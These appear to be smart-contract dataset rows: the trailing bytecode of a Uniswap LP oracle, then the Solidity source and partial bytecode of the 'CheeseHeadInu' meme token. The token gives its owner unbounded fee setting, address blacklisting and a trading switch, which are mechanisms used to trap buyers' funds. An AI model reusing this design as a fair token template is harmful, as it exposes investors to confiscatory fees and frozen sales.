00160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c838383818110610b0b57fe5b905060200201356001600160a01b031660405180826001600160a01b0316815260200191505060405180910390a1600101610a90565b7f47554e495633444149555344433200000000000000000000000000000000000081565b60026020526000908152604090205481565b33600090815260026020526040812054600114610bc55760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b600354600160801b90046001600160801b0316600114610c2c576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f6e6f2d63757272656e742d76616c7565000000604482015290519081900360640190fd5b506003546001600160801b03165b90565b336000908152600260205260408120548190600114610c8d5760405162461bcd60e51b8152600401808060200182810382526025815260200180611a1f6025913960400191505060405180910390fd5b50506003546001600160801b0380821691600160801b9004166001149091565b33600090815260208190526040902054600114610cff576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116610d57576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b81610d7c57600580546001600160a01b0319166001600160a01b038316179055610df2565b8160011415610da557600680546001600160a01b0319166001600160a01b038316179055610df2565b6040805162461bcd60e51b815260206004820152601760248201527f47556e694c504f7261636c652f696e76616c69642d6964000000000000000000604482015290519081900360640190fd5b604080518381526001600160a01b038316602082015281517f57e1d18531e0ed6c4f60bf6039e5719aa115e43e43847525125856433a69f7a7929181900390910190a15050565b33600090815260208190526040902054600114610e8b576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260026020908152604080832092909255815192835290517f12fdafd291eb287a54e3416070923d22aa5072f5ee04c4fb8361615e7508a37c9281900390910190a150565b33600090815260208190526040902054600114610f30576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b03811660008181526020819052604080822060019055517fdd0e34038ac38b2a1ce960229778ac48a8719bc900b6c4f8d0475c6e8b385a609190a250565b6005546001600160a01b031681565b60015460ff1681565b33600090815260208190526040902054600114610fdf576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116600081815260208190526040808220829055517f184450df2e323acec0ed3b5c7531b81f9b4cdef7914dfd4c0a4317416bb5251b9190a250565b600154600090630100000090046001600160e81b031661104557506000610c3a565b60015461106b90630100000081046001600160e81b031690610100900461ffff166116fc565b905090565b600154630100000090046001600160e81b031642101590565b600154630100000090046001600160e81b031681565b600154610100900461ffff1681565b33600090815260208190526040902054600114611100576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001805460ff191690556040517f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b90600090a1565b60006020819052908152604090205481565b6006546001600160a01b031681565b336000908152602081905260409020546001146111a8576040805162461bcd60e51b815260206004820152601b60248201526000805160206119ff833981519152604482015290519081900360640190fd5b6001600160a01b038116611200576040805162461bcd60e51b815260206004820152601a602482015279047556e694c504f7261636c652f6e6f2d636f6e74726163742d360341b604482015290519081900360640190fd5b6001600160a01b03811660008181526002602090815260409182902060019055815192835290517f6ffc0fabf0709270e42087e84a3bfc36041d3b281266d04ae1962185092fb2449281900390910190a150565b600080600560009054906101000a90046001600160a01b03166001600160a01b03166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b1580156112a557600080fd5b505afa1580156112b9573d6000803e3d6000fd5b505050506040513d60208110156112cf57600080fd5b505190508061130f5760405162461bcd60e51b8152600401808060200182810382526023815260200180611a446023913960400191505060405180910390fd5b600654604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d602081101561137e57600080fd5b50519050806113be5760405162461bcd60e51b81526004018080602001828103825260238152602001806119dc6023913960400191505060405180910390fd5b600061144f60306114366113f2857f0000000000000000000000000000000000000000000000000de0b6b3a764000061175a565b61142961141f887f00000000000000000000000000000000000000000000000000000000000f424061175a565b600160601b61175a565b8161143057fe5b046117c6565b6001600160801b0316901b6001600160801b031661190e565b90506000807f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b031663b670ed7d846040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050604080518083038186803b1580156114c057600080fd5b505afa1580156114d4573d6000803e3d6000fd5b505050506040513d60408110156114ea57600080fd5b5080516020909101519092509050811515806115065750600081115b611557576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f696e76616c69642d62616c616e636573000000604482015290519081900360640190fd5b60007f00000000000000000000000050379f632ca68d36e50cfbc8f78fe16bd1499d1e6001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156115b257600080fd5b505afa1580156115c6573d6000803e3d6000fd5b505050506040513d60208110156115dc57600080fd5b50519050633b9aca008110156116235760405162461bcd60e51b8152600401808060200182810382526023815260200180611a676023913960400191505060405180910390fd5b60008161168f61165c89611657887f000000000000000000000000000000000000000000000000000000000000000161175a565b61175a565b61168a89611657887f000000000000000000000000000000000000000000000000000000e8d4a5100061175a565b61196c565b8161169657fe5b049050600160801b81106116f1576040805162461bcd60e51b815260206004820152601b60248201527f47556e694c504f7261636c652f71756f74652d6f766572666c6f770000000000604482015290519081900360640190fd5b979650505050505050565b80820382811115611754576040805162461bcd60e51b815260206004820152601a60248201527f47556e694c504f7261636c652f7375622d756e646572666c6f77000000000000604482015290519081900360640190fd5b92915050565b60008115806117755750508082028282828161177257fe5b04145b611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6d756c2d6f766572666c6f7700000000000000604482015290519081900360640190fd5b6000816117d557506000611909565b816001600160801b82106117ee5760809190911c9060401b5b6801000000000000000082106118095760409190911c9060201b5b64010000000082106118205760209190911c9060101b5b6201000082106118355760109190911c9060081b5b61010082106118495760089190911c9060041b5b6010821061185c5760049190911c9060021b5b600882106118685760011b5b600181858161187357fe5b048201901c9050600181858161188557fe5b048201901c9050600181858161189757fe5b048201901c905060018185816118a957fe5b048201901c905060018185816118bb57fe5b048201901c905060018185816118cd57fe5b048201901c905060018185816118df57fe5b048201901c905060008185816118f157fe5b0490508082106119015780611903565b815b93505050505b919050565b806001600160a01b0381168114611909576040805162461bcd60e51b815260206004820152601d60248201527f47556e694c504f7261636c652f75696e743136302d6f766572666c6f77000000604482015290519081900360640190fd5b80820182811015611754576040805162461bcd60e51b815260206004820152601960248201527f47556e694c504f7261636c652f6164642d6f766572666c6f7700000000000000604482015290519081900360640190fd5b60408051808201909152600080825260208201529056fe47556e694c504f7261636c652f696e76616c69642d6f7261636c652d312d707269636547556e694c504f7261636c652f6e6f742d617574686f72697a6564000000000047556e694c504f7261636c652f636f6e74726163742d6e6f742d77686974656c697374656447556e694c504f7261636c652f696e76616c69642d6f7261636c652d302d707269636547556e694c504f7261636c652f746f74616c2d737570706c792d746f6f2d736d616c6ca2646970667358221220869df76b56e08bd8fae51cc93bbbd6e3973eb722c14fb3c70763bc9656afd8a964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 9,478 |
0x860f376c592c5ed23ab2189cc93ab0e9d0be087c
|
/**
* Cheese hype + Inu Hype = Moon misson
*
* https://t.me/CheeseHeadInu
* https://twitter.com/cheeseheadinu
*
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CheeseHeadInu is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "CheeseHead Inu";//////////////////////////
string private constant _symbol = "Cheese";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 6;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x16418Afaccb722E1277868FD3532838FCD79593A);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x16418Afaccb722E1277868FD3532838FCD79593A);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210000000 * 10**9; //2%
uint256 public _maxWalletSize = 400000000 * 10**9; //4%
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //0.1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f37565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613380565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612ea3565b610859565b604051610259919061334a565b60405180910390f35b34801561026e57600080fd5b50610277610877565b6040516102849190613365565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af9190613562565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e54565b6108ae565b6040516102ec919061334a565b60405180910390f35b34801561030157600080fd5b5061030a610987565b6040516103179190613562565b60405180910390f35b34801561032c57600080fd5b5061033561098d565b60405161034291906135d7565b60405180910390f35b34801561035757600080fd5b50610360610996565b60405161036d919061332f565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dc6565b6109bc565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f78565b610aac565b005b3480156103d457600080fd5b506103dd610b5e565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dc6565b610c2f565b6040516104139190613562565b60405180910390f35b34801561042857600080fd5b50610431610c80565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612fa1565b610dd3565b005b34801561046857600080fd5b50610471610e72565b60405161047e9190613562565b60405180910390f35b34801561049357600080fd5b5061049c610e78565b6040516104a9919061332f565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f78565b610ea1565b005b3480156104e757600080fd5b506104f0610f53565b6040516104fd9190613562565b60405180910390f35b34801561051257600080fd5b5061051b610f59565b6040516105289190613380565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612fa1565b610f96565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fca565b611035565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612ea3565b6110ec565b6040516105b7919061334a565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dc6565b61110a565b6040516105f4919061334a565b60405180910390f35b34801561060957600080fd5b5061061261112a565b005b34801561062057600080fd5b5061063b60048036038101906106369190612edf565b611203565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e18565b611363565b6040516106719190613562565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612fa1565b6113ea565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dc6565b611489565b005b6106d461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134c2565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108109061389c565b915050610764565b5050565b60606040518060400160405280600e81526020017f4368656573654865616420496e75000000000000000000000000000000000000815250905090565b600061086d61086661164b565b8484611653565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600068056bc75e2d63100000905090565b60006108bb84848461181e565b61097c846108c761164b565b61097785604051806060016040528060288152602001613da960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092d61164b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a39092919063ffffffff16565b611653565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a48906134c2565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab461164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b38906134c2565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9f61164b565b73ffffffffffffffffffffffffffffffffffffffff161480610c155750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfd61164b565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1e57600080fd5b6000479050610c2c81612107565b50565b6000610c79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612202565b9050919050565b610c8861164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0c906134c2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610ddb61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906134c2565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea961164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d906134c2565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f4368656573650000000000000000000000000000000000000000000000000000815250905090565b610f9e61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461102b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611022906134c2565b60405180910390fd5b8060188190555050565b61103d61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c1906134c2565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006111006110f961164b565b848461181e565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661116b61164b565b73ffffffffffffffffffffffffffffffffffffffff1614806111e15750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c961164b565b73ffffffffffffffffffffffffffffffffffffffff16145b6111ea57600080fd5b60006111f530610c2f565b905061120081612270565b50565b61120b61164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611298576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128f906134c2565b60405180910390fd5b60005b8383905081101561135d5781600560008686858181106112e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f99190612dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806113559061389c565b91505061129b565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f261164b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611476906134c2565b60405180910390fd5b8060178190555050565b61149161164b565b73ffffffffffffffffffffffffffffffffffffffff166000805490610100